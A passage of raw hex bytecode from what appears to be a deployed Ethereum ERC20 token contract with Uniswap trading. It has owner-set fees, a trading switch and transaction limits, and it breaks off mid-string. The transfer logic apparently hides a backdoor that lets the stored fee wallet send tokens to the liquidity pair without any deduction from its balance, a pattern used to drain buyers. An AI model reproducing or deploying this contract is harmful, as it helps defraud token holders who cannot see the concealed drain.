000000000000000000000000000000000000000000000000000000081526004016110fb90614852565b60405180910390fd5b82600f819055508160108190555080601181905550611144601154611136601054600f54612fa490919063ffffffff16565b612fa490919063ffffffff16565b601381905550601460125461115991906148d0565b601354111561119d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611194906149b9565b60405180910390fd5b505050565b6111aa613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611237576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122e90614852565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60115481565b60006112a58484846131d3565b50611367846112b2613002565b611362856040518060600160405280602881526020016155b260289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611318613002565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138fb9092919063ffffffff16565b61300a565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b600061140f6113c47f0000000000000000000000000000000000000000000000000000000000000000611e7b565b6114016113f07f000000000000000000000000000000000000000000000000000000000000dead611e7b565b60155461395f90919063ffffffff16565b61395f90919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b60006114d4611438613002565b846114cf8560076000611449613002565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fa490919063ffffffff16565b61300a565b6001905092915050565b6114e6613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611573576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156a90614852565b60405180910390fd5b61159e620186a06115906001601554612ee090919063ffffffff16565b612f5a90919063ffffffff16565b8110156115e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d790614a4b565b60405180910390fd5b61160960646115fb6001601554612ee090919063ffffffff16565b612f5a90919063ffffffff16565b81111561164b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164290614add565b60405180910390fd5b8060168190555050565b61165d613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e190614852565b60405180910390fd5b80601a60176101000a81548160ff02191690831515021790555050565b61170f613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461179c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179390614852565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361180b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180290614b6f565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e5481565b61185d613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e190614852565b60405180910390fd5b6001601a60196101000a81548160ff021916908315150217905550565b60086020528060005260406000206000915054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611955613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d990614852565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a6a9190614ba4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ad1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611af59190614ba4565b6040518363ffffffff1660e01b8152600401611b12929190614bd1565b6020604051808303816000875af1158015611b31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b559190614ba4565b601a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160096000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430611df930611e7b565b60008033426040518863ffffffff1660e01b8152600401611e1f96959493929190614c35565b60606040518083038185885af1158015611e3d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611e629190614cab565b50505050565b601a60159054906101000a900460ff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611ecc613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5090614852565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b612021613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a590614852565b60405180910390fd5b601554601781905550601554601881905550565b60175481565b60185481565b60145481565b60096020528060005260406000206000915054906101000a900460ff1681565b6120fc613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612189576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218090614852565b60405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601a60189054906101000a900460ff1681565b600c5481565b600b6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054612255906147d5565b80601f0160208091040260200160405190810160405280929190818152602001828054612281906147d5565b80156122ce5780601f106122a3576101008083540402835291602001916122ce565b820191906000526020600020905b8154815290600101906020018083116122b157829003601f168201915b5050505050905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006123c161230b613002565b846123bc856040518060600160405280602581526020016155da6025913960076000612335613002565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138fb9092919063ffffffff16565b61300a565b6001905092915050565b6123d3613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612460576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245790614852565b60405180910390fd5b80601a60166101000a81548160ff02191690831515021790555050565b600061249161248a613002565b84846131d3565b506001905092915050565b6124a4613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612531576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252890614852565b60405180910390fd5b80601a60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1598160405161257a91906144ee565b60405180910390a150565b60105481565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b6125bf613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461264c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161264390614852565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b601a60169054906101000a900460ff1681565b600f5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b612764613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146127f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127e890614852565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612860576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161285790614b6f565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6128ac613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612939576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161293090614852565b60405180910390fd5b6129636103e86129556001601554612ee090919063ffffffff16565b612f5a90919063ffffffff16565b8110156129a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161299c90614d70565b60405180910390fd5b8060178190555050565b6129b7613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612a44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3b90614852565b60405180910390fd5b80601a60186101000a81548160ff02191690831515021790555050565b612a69613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612af6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aed90614852565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60135481565b612b5f613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612bec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612be390614852565b60405180910390fd5b8060188190555050565b612bfe613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612c8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c8290614852565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612cfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cf190614e02565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60125481565b612dc5613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e4990614852565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601a60179054906101000a900460ff1681565b600a6020528060005260406000206000915054906101000a900460ff1681565b6000808303612ef25760009050612f54565b60008284612f009190614e22565b9050828482612f0f91906148d0565b14612f4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f4690614ed6565b60405180910390fd5b809150505b92915050565b6000612f9c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506139a9565b905092915050565b6000808284612fb39190614ef6565b905083811015612ff8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fef90614f76565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603613079576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161307090615008565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036130e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130df9061509a565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516131c69190614592565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603613243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161323a9061512c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036132b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132a9906151be565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806133535750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156133815761337a8484846133688888613a0c565b6133725785613375565b60005b613b32565b90506138f4565b601a60199054906101000a900460ff166133d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133c79061522a565b60405180910390fd5b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156134745750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561348c5750601a60189054906101000a900460ff165b156134d7576017548211156134d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134cd906152bc565b60405180910390fd5b5b60006134e230611e7b565b9050600060165482101590508080156135085750601a60149054906101000a900460ff16155b801561355e5750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156135765750601a60159054906101000a900460ff165b156135a057601a60169054906101000a900460ff16156135965760165491505b61359f82613d06565b5b613629846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138fb9092919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061370f5750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6137235761371e878787613d48565b613725565b845b9050601a60179054906101000a900460ff16801561378d5750600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156137f2576018546137b0826137a289611e7b565b612fa490919063ffffffff16565b11156137f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137e89061534e565b60405180910390fd5b5b61384481600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fa490919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516138e49190614592565b60405180910390a3600193505050505b9392505050565b6000838311158290613943576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161393a919061435b565b60405180910390fd5b5060008385613952919061536e565b9050809150509392505050565b60006139a183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506138fb565b905092915050565b600080831182906139f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016139e7919061435b565b60405180910390fd5b50600083856139ff91906148d0565b9050809150509392505050565b6000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015613ab85750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015613af15750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015613b2a5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b905092915050565b6000613bbd826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138fb9092919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613c5283600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fa490919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051613cf29190614592565b60405180910390a360019050949350505050565b6001601a60146101000a81548160ff021916908315150217905550613d2a8161402d565b6000601a60146101000a81548160ff02191690831515021790555050565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401613da691906153c3565b602060405180830381865afa158015613dc3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613de791906153de565b9050600080600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613e6d57613e666064613e5860135488612ee090919063ffffffff16565b612f5a90919063ffffffff16565b9150613f0a565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015613ed957506000613ed6848361395f90919063ffffffff16565b10155b15613f0957613f066064613ef860145488612ee090919063ffffffff16565b612f5a90919063ffffffff16565b91505b5b600082111561400e57613f6582600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fa490919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516140059190614592565b60405180910390a35b614021828661395f90919063ffffffff16565b93505050509392505050565b6000600267ffffffffffffffff81111561404a5761404961540b565b5b6040519080825280602002602001820160405280156140785781602001602082028036833780820191505090505b50905030816000815181106140905761408f61543a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015614137573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061415b9190614ba4565b8160018151811061416f5761416e61543a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506141d630601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461300a565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b815260040161425c959493929190615527565b600060405180830381600087803b15801561427657600080fd5b505af115801561428a573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516142bf929190615581565b60405180910390a15050565b600081519050919050565b600082825260208201905092915050565b60005b838110156143055780820151818401526020810190506142ea565b60008484015250505050565b6000601f19601f8301169050919050565b600061432d826142cb565b61433781856142d6565b93506143478185602086016142e7565b61435081614311565b840191505092915050565b600060208201905081810360008301526143758184614322565b905092915050565b600080fd5b6000819050919050565b61439581614382565b81146143a057600080fd5b50565b6000813590506143b28161438c565b92915050565b6000806000606084860312156143d1576143d061437d565b5b60006143df868287016143a3565b93505060206143f0868287016143a3565b9250506040614401868287016143a3565b9150509250925092565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006144368261440b565b9050919050565b6144468161442b565b82525050565b6000602082019050614461600083018461443d565b92915050565b6144708161442b565b811461447b57600080fd5b50565b60008135905061448d81614467565b92915050565b600080604083850312156144aa576144a961437d565b5b60006144b88582860161447e565b92505060206144c9858286016143a3565b9150509250929050565b60008115159050919050565b6144e8816144d3565b82525050565b600060208201905061450360008301846144df565b92915050565b6000819050919050565b600061452e6145296145248461440b565b614509565b61440b565b9050919050565b600061454082614513565b9050919050565b600061455282614535565b9050919050565b61456281614547565b82525050565b600060208201905061457d6000830184614559565b92915050565b61458c81614382565b82525050565b60006020820190506145a76000830184614583565b92915050565b6145b6816144d3565b81146145c157600080fd5b50565b6000813590506145d3816145ad565b92915050565b600080604083850312156145f0576145ef61437d565b5b60006145fe8582860161447e565b925050602061460f858286016145c4565b9150509250929050565b6000806000606084860312156146325761463161437d565b5b60006146408682870161447e565b93505060206146518682870161447e565b9250506040614662868287016143a3565b9150509250925092565b600060ff82169050919050565b6146828161466c565b82525050565b600060208201905061469d6000830184614679565b92915050565b6000602082840312156146b9576146b861437d565b5b60006146c7848285016143a3565b91505092915050565b6000602082840312156146e6576146e561437d565b5b60006146f4848285016145c4565b91505092915050565b6000602082840312156147135761471261437d565b5b60006147218482850161447e565b91505092915050565b60006147358261440b565b9050919050565b6147458161472a565b82525050565b6000602082019050614760600083018461473c565b92915050565b6000806040838503121561477d5761477c61437d565b5b600061478b8582860161447e565b925050602061479c8582860161447e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806147ed57607f821691505b602082108103614800576147ff6147a6565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061483c6020836142d6565b915061484782614806565b602082019050919050565b6000602082019050818103600083015261486b8161482f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006148db82614382565b91506148e683614382565b9250826148f6576148f5614872565b5b828204905092915050565b7f53656c6c2066656573206d757374206265203525206f72206c65737300000000600082015250565b6000614937601c836142d6565b915061494282614901565b602082019050919050565b600060208201905081810360008301526149668161492a565b9050919050565b7f4275792066656573206d757374206265203525206f72206c6573730000000000600082015250565b60006149a3601b836142d6565b91506149ae8261496d565b602082019050919050565b600060208201905081810360008301526149d281614996565b9050919050565b7f43616e6e6f74207365742073776170207468726573686f6c6420616d6f756e7460008201527f206c6f776572207468616e20302e30303125206f6620746f6b656e7300000000602082015250565b6000614a35603c836142d6565b9150614a40826149d9565b604082019050919050565b60006020820190508181036000830152614a6481614a28565b9050919050565b7f43616e6e6f74207365742073776170207468726573686f6c6420616d6f756e7460008201527f20686967686572207468616e203125206f6620746f6b656e7300000000000000602082015250565b6000614ac76039836142d6565b9150614ad282614a6b565b604082019050919050565b60006020820190508181036000830152614af681614aba565b9050919050565b7f46656520416464726573732063616e6e6f74206265207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614b596022836142d6565b9150614b6482614afd565b604082019050919050565b60006020820190508181036000830152614b8881614b4c565b9050919050565b600081519050614b9e81614467565b92915050565b600060208284031215614bba57614bb961437d565b5b6000614bc884828501614b8f565b91505092915050565b6000604082019050614be6600083018561443d565b614bf3602083018461443d565b9392505050565b6000819050919050565b6000614c1f614c1a614c1584614bfa565b614509565b614382565b9050919050565b614c2f81614c04565b82525050565b600060c082019050614c4a600083018961443d565b614c576020830188614583565b614c646040830187614c26565b614c716060830186614c26565b614c7e608083018561443d565b614c8b60a0830184614583565b979650505050505050565b600081519050614ca58161438c565b92915050565b600080600060608486031215614cc457614cc361437d565b5b6000614cd286828701614c96565b9350506020614ce386828701614c96565b9250506040614cf486828701614c96565b9150509250925092565b7f43616e6e6f7420736574206d617820545820616d6f756e74206c6f776572207460008201527f68616e20302c3125206f6620746f74616c20737570706c790000000000000000602082015250565b6000614d5a6038836142d6565b9150614d6582614cfe565b604082019050919050565b60006020820190508181036000830152614d8981614d4d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614dec6026836142d6565b9150614df782614d90565b604082019050919050565b60006020820190508181036000830152614e1b81614ddf565b9050919050565b6000614e2d82614382565b9150614e3883614382565b9250828202614e4681614382565b91508282048414831517614e5d57614e5c6148a1565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000614ec06021836142d6565b9150614ecb82614e64565b604082019050919050565b60006020820190508181036000830152614eef81614eb3565b9050919050565b6000614f0182614382565b9150614f0c83614382565b9250828201905080821115614f2457614f236148a1565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614f60601b836142d6565b9150614f6b82614f2a565b602082019050919050565b60006020820190508181036000830152614f8f81614f53565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614ff26024836142d6565b9150614ffd82614f96565b604082019050919050565b6000602082019050818103600083015261502181614fe5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006150846022836142d6565b915061508f82615028565b604082019050919050565b600060208201905081810360008301526150b381615077565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006151166025836142d6565b9150615121826150ba565b604082019050919050565b6000602082019050818103600083015261514581615109565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006151a86023836142d6565b91506151b38261514c565b604082019050919050565b600060208201905081810360008301526151d78161519b565b9050919050565b7f54726164696e6720686173206e6f7420656e61626c6564207965742e00000000600082015250565b6000615214601c836142d6565b915061521f826151de565b602082019050919050565b6000602082019050818103600083015261524381615207565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6